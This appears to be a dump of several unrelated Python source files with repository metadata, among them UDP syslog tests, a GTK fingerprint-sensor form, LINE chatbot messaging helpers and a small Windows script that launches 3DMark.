a46df0c561c9ed9b1e4b2e9ca458f13593883785
|
[
"MIT"
] | null | null | null |
"""Tests for remote_syslog syslogger_udp."""
# pytest test_syslogger_udp.py --log-cli-level=10
# https://pythontic.com/modules/socket/udp-client-server-example
import pytest
import logging
testlog = logging.getLogger()
from custom_components.remote_syslog import sysloggercommon
from custom_components.remote_syslog import syslogger_udp
syslogger = syslogger_udp
import socket
localIP = "127.0.0.1"
localPort = 20001
bufferSize = 1024
defaultProgram = "MyTester"
@pytest.fixture(scope="function")
def UDPServerSocket():
UDPServerSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
UDPServerSocket.bind((localIP, localPort))
yield UDPServerSocket
UDPServerSocket.close()
def GetMessageFromServer(UDPServerSocket):
bytesAddressPair = UDPServerSocket.recvfrom(bufferSize)
message = bytesAddressPair[0]
address = bytesAddressPair[1]
return message
def test_SysFacility_DEFAULT(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.USER,defaultProgram)
log.send("Test From Python UDP Syslogger", sysloggercommon.Level.INFO)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
assert(sysloggercommon.sysfacility("XXX") == sysloggercommon.Facility.USER)
def test_Program(UDPServerSocket):
assert(sysloggercommon.sysfacility("XXX") == sysloggercommon.Facility.USER)
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL0,defaultProgram)
message_sent = "syslogger_udp info local0"
log.send(message_sent, sysloggercommon.Level.INFO)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<134> {0} {1}".format(defaultProgram, message_sent)
assert(expected_message.encode()==message)
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL0,"AnotherProgram")
message_sent = "syslogger_udp info local0"
log.send(message_sent, sysloggercommon.Level.INFO)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<134> {0} {1}".format("AnotherProgram", message_sent)
assert(expected_message.encode()==message)
# Tests to confirm SysFacility
def test_UDP_KERN(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.KERN, defaultProgram)
message_sent = "syslogger_udp kern"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<0> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_USER(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.USER, defaultProgram)
message_sent = "syslogger_udp user"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<8> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_MAIL(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.MAIL, defaultProgram)
message_sent = "syslogger_udp mail"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<16> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_DAEMON(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.DAEMON, defaultProgram)
message_sent = "syslogger_udp daemon"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<24> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_AUTH(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.AUTH, defaultProgram)
message_sent = "syslogger_udp auth"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<32> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_SYSLOG(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.SYSLOG, defaultProgram)
message_sent = "syslogger_udp syslog"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<40> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_LPR(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LPR, defaultProgram)
message_sent = "syslogger_udp lpr"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<48> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_NEWS(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.NEWS, defaultProgram)
message_sent = "syslogger_udp news"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<56> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_UUCP(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.UUCP, defaultProgram)
message_sent = "syslogger_udp uucp"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<64> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_CRON(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.CRON, defaultProgram)
message_sent = "syslogger_udp cron"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<72> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_AUTHPRIV(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.AUTHPRIV, defaultProgram)
message_sent = "syslogger_udp authpriv"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<80> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_FTP(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.FTP, defaultProgram)
message_sent = "syslogger_udp ftp"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<88> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_LOCAL0_INFO(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL0, defaultProgram)
message_sent = "syslogger_udp local0"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<128> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_LOCAL1(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL1, defaultProgram)
message_sent = "syslogger_udp local1"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<136> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_LOCAL2(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL2, defaultProgram)
message_sent = "syslogger_udp local2"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<144> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_LOCAL3(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL3, defaultProgram)
message_sent = "syslogger_udp local3"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<152> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_LOCAL4(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL4, defaultProgram)
message_sent = "syslogger_udp local4"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<160> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_LOCAL5(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL5, defaultProgram)
message_sent = "syslogger_udp info local5"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<168> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_LOCAL6(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL6, defaultProgram)
message_sent = "syslogger_udp info local6"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<176> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
def test_UDP_LOCAL7(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL7, defaultProgram)
message_sent = "syslogger_udp info local7"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<184> {0} {1}".format(defaultProgram, message_sent)
print(expected_message)
assert(expected_message.encode()==message)
# Tests to confirm LogLevel
def test_UDP_LOCAL1_DEBUG(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL1, defaultProgram)
message_sent = "syslogger_udp debug local1"
log.send(message_sent, sysloggercommon.Level.DEBUG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<143> {0} {1}".format(defaultProgram, message_sent)
assert(expected_message.encode()==message)
def test_UDP_LOCAL1_INFO(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL1, defaultProgram)
message_sent = "syslogger_udp info local1"
log.send(message_sent, sysloggercommon.Level.INFO)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<142> {0} {1}".format(defaultProgram, message_sent)
assert(expected_message.encode()==message)
def test_UDP_LOCAL1_NOTICE(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL1, defaultProgram)
message_sent = "syslogger_udp notice local1"
log.send(message_sent, sysloggercommon.Level.NOTICE)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<141> {0} {1}".format(defaultProgram, message_sent)
assert(expected_message.encode()==message)
def test_UDP_LOCAL1_WARNING(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL1, defaultProgram)
message_sent = "syslogger_udp warning local1"
log.send(message_sent, sysloggercommon.Level.WARNING)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<140> {0} {1}".format(defaultProgram, message_sent)
assert(expected_message.encode()==message)
def test_UDP_LOCAL1_ERR(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL1, defaultProgram)
message_sent = "syslogger_udp err local1"
log.send(message_sent, sysloggercommon.Level.ERR)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<139> {0} {1}".format(defaultProgram, message_sent)
assert(expected_message.encode()==message)
def test_UDP_LOCAL1_CRIT(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL1, defaultProgram)
message_sent = "syslogger_udp crit local1"
log.send(message_sent, sysloggercommon.Level.CRIT)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<138> {0} {1}".format(defaultProgram, message_sent)
assert(expected_message.encode()==message)
def test_UDP_LOCAL1_ALERT(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL1, defaultProgram)
message_sent = "syslogger_udp alert local1"
log.send(message_sent, sysloggercommon.Level.ALERT)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<137> {0} {1}".format(defaultProgram, message_sent)
assert(expected_message.encode()==message)
def test_UDP_LOCAL1_EMERG(UDPServerSocket):
log = syslogger.Syslog(localIP, localPort, sysloggercommon.Facility.LOCAL1, defaultProgram)
message_sent = "syslogger_udp emerg local1"
log.send(message_sent, sysloggercommon.Level.EMERG)
message = GetMessageFromServer(UDPServerSocket)
testlog.info("Received message was: {}".format(message))
expected_message = "<136> {0} {1}".format(defaultProgram, message_sent)
assert(expected_message.encode()==message)
| 37.710588
| 95
| 0.765833
| 1,734
| 16,027
| 6.916955
| 0.076125
| 0.082541
| 0.120894
| 0.064616
| 0.898366
| 0.85326
| 0.836335
| 0.802068
| 0.689595
| 0.687177
| 0
| 0.014674
| 0.119798
| 16,027
| 425
| 96
| 37.710588
| 0.835543
| 0.01304
| 0
| 0.538194
| 0
| 0
| 0.117852
| 0
| 0
| 0
| 0
| 0
| 0.111111
| 1
| 0.111111
| false
| 0
| 0.017361
| 0
| 0.131944
| 0.069444
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
c80ba05343e4442477a363201385b67db7ac62d8
| 5,271
|
py
|
Python
|
WiredQT/examples/Module Example/2.FingerPrint/frmmain.py
|
chiptrontech/WiredQTv1.0
|
760948bb736867db4e772031b23ed9151e0364b9
|
[
"MIT"
] | 1
|
2021-12-18T09:17:08.000Z
|
2021-12-18T09:17:08.000Z
|
WiredQT/examples/Module Example/2.FingerPrint/frmmain.py
|
chiptrontech/WiredQTv1.0
|
760948bb736867db4e772031b23ed9151e0364b9
|
[
"MIT"
] | null | null | null |
WiredQT/examples/Module Example/2.FingerPrint/frmmain.py
|
chiptrontech/WiredQTv1.0
|
760948bb736867db4e772031b23ed9151e0364b9
|
[
"MIT"
] | 2
|
2021-12-18T09:15:53.000Z
|
2022-01-19T15:10:14.000Z
|
import gi
import time
gi.require_version('Gtk', '3.0')
from gi.repository import Gtk,GObject,Gdk,Pango,GLib
from wta_module import *
import _adafruit_fingerprint as adafruit_fingerprint
# Generated By WiredGTK for Python: by Rocky Nuarin, 2018 Phils
# #####################www.WireThemAll.com#####################
class Handler(usercontrol):
#WiredEvent def usercontrolevent(self,value) #add more events
#WiredProperty 'usercontrolproperty': 'sample only'
def __init__(self,*param):
initUI(self,param,w=400,h=400,title="WiredGTKV1.0",controlbox=True,startpos=(200,200),timeoutdestroy=-1)
self.GTKForms()
super().__init__(self.usercontrol)
self.sch=Scheduler(500)#500 ms
self.sch.Start()
self._text=''
self._usercontrolproperty=''
self.ctlFP_BEG2801.Open()
#self.ctlFP_BEG2801.test()
self.notif=None
@property
def usercontrolproperty(self):
return self._usercontrolproperty
@usercontrolproperty.setter
def usercontrolproperty(self,value):
self._usercontrolproperty=value
def connect(self,ev,evusr):
self.wiredevents.update({ev:evusr})
def activeXcreated(self,*args):
pass
def unload(self,*args):
destroy=True
if destroy==True:
GLib.source_remove(self.timeout_id)
self._window.hide()
del self._window
#ExitApplication() #activate this if u want to destroy this window
return False
else:
self.window.Visible=False
return True
def loop(self, user_data):
if self.form_load==False:
self.form_load=True
if self.notif!=None:
self.Entry2.Text=self.notif
self.notif=None
if self.sch.Event():#timer routine
#code here
if self.timeoutdestroy!=-1:
self.timeoutdestroy-=1
if self.timeoutdestroy==0:
self.unload(None)
self.sch.Start()#restart scheduler
return True #return true so that main_loop can call it again
def create(self,prop,control,parent,event=[]):
createWidget(self,prop,control,parent,event)
def GTKForms(self):
self.create("{'Tag': '', 'Picture': '', 'Top': '264', 'ForeColor': '(0,0,0,1)', 'Help': '', 'Visible': 'True', 'BackColor': '(1,1,1,1)', 'Name': 'Button1', 'Left': '219', 'Height': '50', 'Text': 'Verify', 'Font': '', 'Width': '100', 'Events': '[clicked]', 'Var': '', 'Enable': 'True', 'ParentsType': ''}","Button","usercontrol","[['clicked', 'self,e']]")
self.create("{'Tag': '', 'Picture': '', 'Top': '227', 'Alignment': '', 'ForeColor': '(0,0,0,1)', 'Help': '', 'Visible': 'True', 'BackColor': '(1,1,1,1)', 'Name': 'Entry1', 'Left': '221', 'Height': '30', 'Text': 'Entry1', 'Font': '', 'Width': '409', 'Events': '[[, ]]', 'Var': '', 'Enable': 'True', 'ParentsType': ''}","Entry","usercontrol","[]")
self.create("{'Tag': '', 'Picture': '', 'Top': '261', 'ForeColor': '(0,0,0,1)', 'Help': '', 'Visible': 'True', 'BackColor': '(1,1,1,1)', 'Name': 'Button2', 'Left': '322', 'Height': '50', 'Text': 'Enroll', 'Font': '', 'Width': '100', 'Events': '[clicked]', 'Var': '', 'Enable': 'True', 'ParentsType': ''}","Button","usercontrol","[['clicked', 'self,e']]")
self.create("{'Tag': '', 'Picture': '', 'Top': '260', 'ForeColor': '(0,0,0,1)', 'Help': '', 'Visible': 'True', 'BackColor': '(1,1,1,1)', 'Name': 'Button3', 'Left': '425', 'Height': '52', 'Text': 'Delete', 'Font': '', 'Width': '100', 'Events': '[clicked]', 'Var': '', 'Enable': 'True', 'ParentsType': ''}","Button","usercontrol","[['clicked', 'self,e']]")
self.create("{'Tag': '', 'Picture': '', 'Top': '185', 'Alignment': '', 'ForeColor': '(0,0,0,1)', 'Help': '', 'Visible': 'True', 'BackColor': '(1,1,1,1)', 'Name': 'Entry2', 'Left': '337', 'Height': '30', 'Text': 'Entry2', 'Font': '', 'Width': '323', 'Events': '[[, ]]', 'Var': '', 'Enable': 'True', 'ParentsType': ''}","Entry","usercontrol","[]")
self.create("{'Tag': 'Activex', 'Picture': 'FP_Adafruit.png', 'Top': '115', 'ForeColor': '(0,0,0,1)', 'Help': '', 'Visible': 'True', 'BackColor': '(0, 0.27895544726290855, 0.3937214467731809, 0.5)', 'Name': 'ctlFP_BEG2801', 'Left': '210', 'Height': '30', 'Text': 'FP_Adafruit1', 'Font': '', 'Width': '30', 'Port': '/dev/ttyS0', 'Setting': '57600,n,8,1', 'Events': '[Notification, VerifyFinish]', 'Var': '', 'Enable': 'True', 'ParentsType': ''}","FP_Adafruit","usercontrol","[['Notification', 'self,notif'], ['VerifyFinish', 'self,id,confidence']]")
def Widget(self):
if self._usercontrol in self._mainlayout.get_children():
self._mainlayout.remove(self._usercontrol)
return self._usercontrol
def Hide(self):
self._window.hide()
def Show(self,modal=False,x=None,y=None):
if x!=None:
self._window.move(x,y)
self._window.set_modal(modal)
self._window.show()
Gtk.main()
return ""#put ur return value here upon closing this form
def Button1_clicked(self,e):
self.ctlFP_BEG2801.get_fingerprint()
pass
def Button2_clicked(self,e):
x=int(self.Entry1.Text)
self.ctlFP_BEG2801.enroll_finger(x)
pass
def Button3_clicked(self,e):
x=int(self.Entry1.Text)
if self.ctlFP_BEG2801.finger.delete_model(x) == adafruit_fingerprint.OK:
strs="Deleted!"
else:
strs="Failed to delete"
self.Entry1.Text=strs
pass
def ctlFP_BEG2801_VerifyFinish(self,id,confidence):
self.Entry1.Text=id
pass
def ctlFP_BEG2801_Notification(self,notif):
self.notif=notif
pass
if __name__ == "__main__":
_m = Handler()
_m._window.show()
Gtk.main()
| 5,271
| 5,271
| 0.640675
| 678
| 5,271
| 4.882006
| 0.312684
| 0.009063
| 0.009063
| 0.021752
| 0.255589
| 0.229909
| 0.229909
| 0.229909
| 0.211782
| 0.200604
| 0
| 0.050205
| 0.119522
| 5,271
| 1
| 5,271
| 5,271
| 0.663004
| 0.080061
| 0
| 0.206186
| 1
| 0.061856
| 0.460255
| 0.00459
| 0
| 0
| 0
| 0
| 0
| 1
| 0.175258
| false
| 0.061856
| 0.051546
| 0.010309
| 0.298969
| 0.030928
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 5
|
c82657619a8e7a0cbad7c220391fc4e983581f9c
| 220
|
py
|
Python
|
CangJie/__init__.py
|
bigdata-ustc/CangJie
|
a3264082fa0432d257b5c4722b14c55f9092a411
|
[
"MIT"
] | 2
|
2020-03-04T02:27:29.000Z
|
2020-05-22T04:07:24.000Z
|
CangJie/__init__.py
|
tswsxk/CangJie
|
50c5183eae1d4f10c4cf364262437afcf54427fa
|
[
"MIT"
] | null | null | null |
CangJie/__init__.py
|
tswsxk/CangJie
|
50c5183eae1d4f10c4cf364262437afcf54427fa
|
[
"MIT"
] | 1
|
2020-01-07T08:34:59.000Z
|
2020-01-07T08:34:59.000Z
|
# coding: utf-8
# 2019/12/19 @ tongshiwei
from .Features.constants import CHI_CHAR
from .tokenize import tokenize, characterize
from .Features import token2radical, token2stroke, char_features
from .constants import *
| 24.444444
| 64
| 0.8
| 28
| 220
| 6.214286
| 0.607143
| 0.137931
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.057292
| 0.127273
| 220
| 8
| 65
| 27.5
| 0.848958
| 0.168182
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
c82fe2c36365ced4c337813bec988a3a7221348c
| 2,008
|
py
|
Python
|
api/common/line/utilities.py
|
DarkbordermanTemplate/fastapi-redis-linebot
|
36a5a945c9f38dfccfe4a7b5e507db6dd82a6768
|
[
"BSD-2-Clause"
] | 2
|
2021-07-14T07:01:01.000Z
|
2021-07-14T07:14:25.000Z
|
api/common/line/utilities.py
|
DarkbordermanTemplate/fastapi-redis-linebot
|
36a5a945c9f38dfccfe4a7b5e507db6dd82a6768
|
[
"BSD-2-Clause"
] | null | null | null |
api/common/line/utilities.py
|
DarkbordermanTemplate/fastapi-redis-linebot
|
36a5a945c9f38dfccfe4a7b5e507db6dd82a6768
|
[
"BSD-2-Clause"
] | null | null | null |
from typing import List
import requests
from config import Config
from loguru import logger
from requests import Response
from .classes import TextMessage
def push_message(user_id: str, messages: List[TextMessage]) -> Response:
"""
Send message to line chatbot using push method
Arguments:
user_id (str): User ID
message (TextMessage): Text Message to be sent
Raises:
Exception: Raise exception when response is not OK
Returns:
None
"""
logger.info(
f"Push message, user: {user_id} message: {[message.format() for message in messages]}"
)
try:
return requests.post(
"https://api.line.me/v2/bot/message/push",
headers={
"Content-Type": "application/json; charset=UTF-8",
"Authorization": "Bearer " + Config.LINE_TOKEN,
},
json={
"to": user_id,
"messages": [message.format() for message in messages],
},
)
except Exception as error:
raise error
def reply_message(token: str, messages: List[TextMessage]) -> Response:
"""
Send message to line chatbot using push method
Arguments:
token (str): Reply token
message (TextMessage): Text Message to be sent
Raises:
Exception: Raise exception when response is not OK
Returns:
None
"""
logger.info(
f"Push message, token: {token} message: {[message.format() for message in messages]}"
)
try:
return requests.post(
"https://api.line.me/v2/bot/message/reply",
headers={
"Content-Type": "application/json; charset=UTF-8",
"Authorization": "Bearer " + Config.LINE_TOKEN,
},
json={
"replyToken": token,
"messages": [message.format() for message in messages],
},
)
except Exception as error:
raise error
| 26.077922
| 94
| 0.572211
| 216
| 2,008
| 5.282407
| 0.305556
| 0.026293
| 0.056091
| 0.080631
| 0.774759
| 0.774759
| 0.774759
| 0.774759
| 0.774759
| 0.774759
| 0
| 0.002963
| 0.327689
| 2,008
| 76
| 95
| 26.421053
| 0.842222
| 0.219622
| 0
| 0.47619
| 0
| 0
| 0.268919
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.047619
| false
| 0
| 0.142857
| 0
| 0.238095
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
c070a15a3e1e930724f0e6e293e93529b55b5b7c
| 30
|
py
|
Python
|
Demo.py
|
sad786/Python
|
738198bbab5abfa1d521e83291eed7026a4f6f12
|
[
"Apache-2.0"
] | null | null | null |
Demo.py
|
sad786/Python
|
738198bbab5abfa1d521e83291eed7026a4f6f12
|
[
"Apache-2.0"
] | null | null | null |
Demo.py
|
sad786/Python
|
738198bbab5abfa1d521e83291eed7026a4f6f12
|
[
"Apache-2.0"
] | null | null | null |
import Prime
Prime.method("")
| 10
| 16
| 0.733333
| 4
| 30
| 5.5
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1
| 30
| 3
| 16
| 10
| 0.814815
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
c0b59f4e282071f0d342ced030f1764388c65541
| 210
|
py
|
Python
|
solutions_automation/vdc/dashboard/kubeapps.py
|
threefoldtech/js-sdk
|
811f783ac34a60225175bab2d806802a87b9d5c7
|
[
"Apache-2.0"
] | 13
|
2020-09-02T09:05:08.000Z
|
2022-03-12T02:43:24.000Z
|
solutions_automation/vdc/dashboard/kubeapps.py
|
threefoldtech/js-sdk
|
811f783ac34a60225175bab2d806802a87b9d5c7
|
[
"Apache-2.0"
] | 1,998
|
2020-06-15T11:46:10.000Z
|
2022-03-24T22:12:41.000Z
|
solutions_automation/vdc/dashboard/kubeapps.py
|
threefoldtech/js-sdk
|
811f783ac34a60225175bab2d806802a87b9d5c7
|
[
"Apache-2.0"
] | 8
|
2020-09-29T06:50:35.000Z
|
2021-06-14T03:30:52.000Z
|
from solutions_automation.vdc.dashboard.common import CommonChatBot
from jumpscale.packages.vdc_dashboard.chats.kubeapps import KubeappsDeploy
class KubeappsAutomated(CommonChatBot, KubeappsDeploy):
pass
| 30
| 74
| 0.861905
| 22
| 210
| 8.136364
| 0.727273
| 0.134078
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.085714
| 210
| 6
| 75
| 35
| 0.932292
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.25
| 0.5
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
|
0
| 5
|
c0be53059c01502ca0eb5b9d6554ed2b7fd4ac91
| 329
|
py
|
Python
|
testcode/testshellcommand1.py
|
xfzlun/WinUIAutomation
|
0f94388671cf0aacbc8499293b7dd31ddfa205fa
|
[
"MIT"
] | null | null | null |
testcode/testshellcommand1.py
|
xfzlun/WinUIAutomation
|
0f94388671cf0aacbc8499293b7dd31ddfa205fa
|
[
"MIT"
] | null | null | null |
testcode/testshellcommand1.py
|
xfzlun/WinUIAutomation
|
0f94388671cf0aacbc8499293b7dd31ddfa205fa
|
[
"MIT"
] | null | null | null |
#coding=utf-8
import win32api
#日报软件启动
win32api.ShellExecute(0, 'open', r'C:\Program Files\UL\3DMark\3DMark.exe', '','',1)
#OA启动
#win32api.ShellExecute(0, 'open', r'C:\Program Files\Tongda\ispirit\ispiritPro.exe', '','',1)
#QQ启动
#win32api.ShellExecute(0, 'open', r'D:\QQ\Bin\QQ.exe', '','',1)
#......
#当然你还可以添加很多你需要启动的软件
| 20.5625
| 93
| 0.659574
| 46
| 329
| 4.717391
| 0.565217
| 0.276498
| 0.290323
| 0.345622
| 0.479263
| 0.359447
| 0.359447
| 0.359447
| 0
| 0
| 0
| 0.057047
| 0.094225
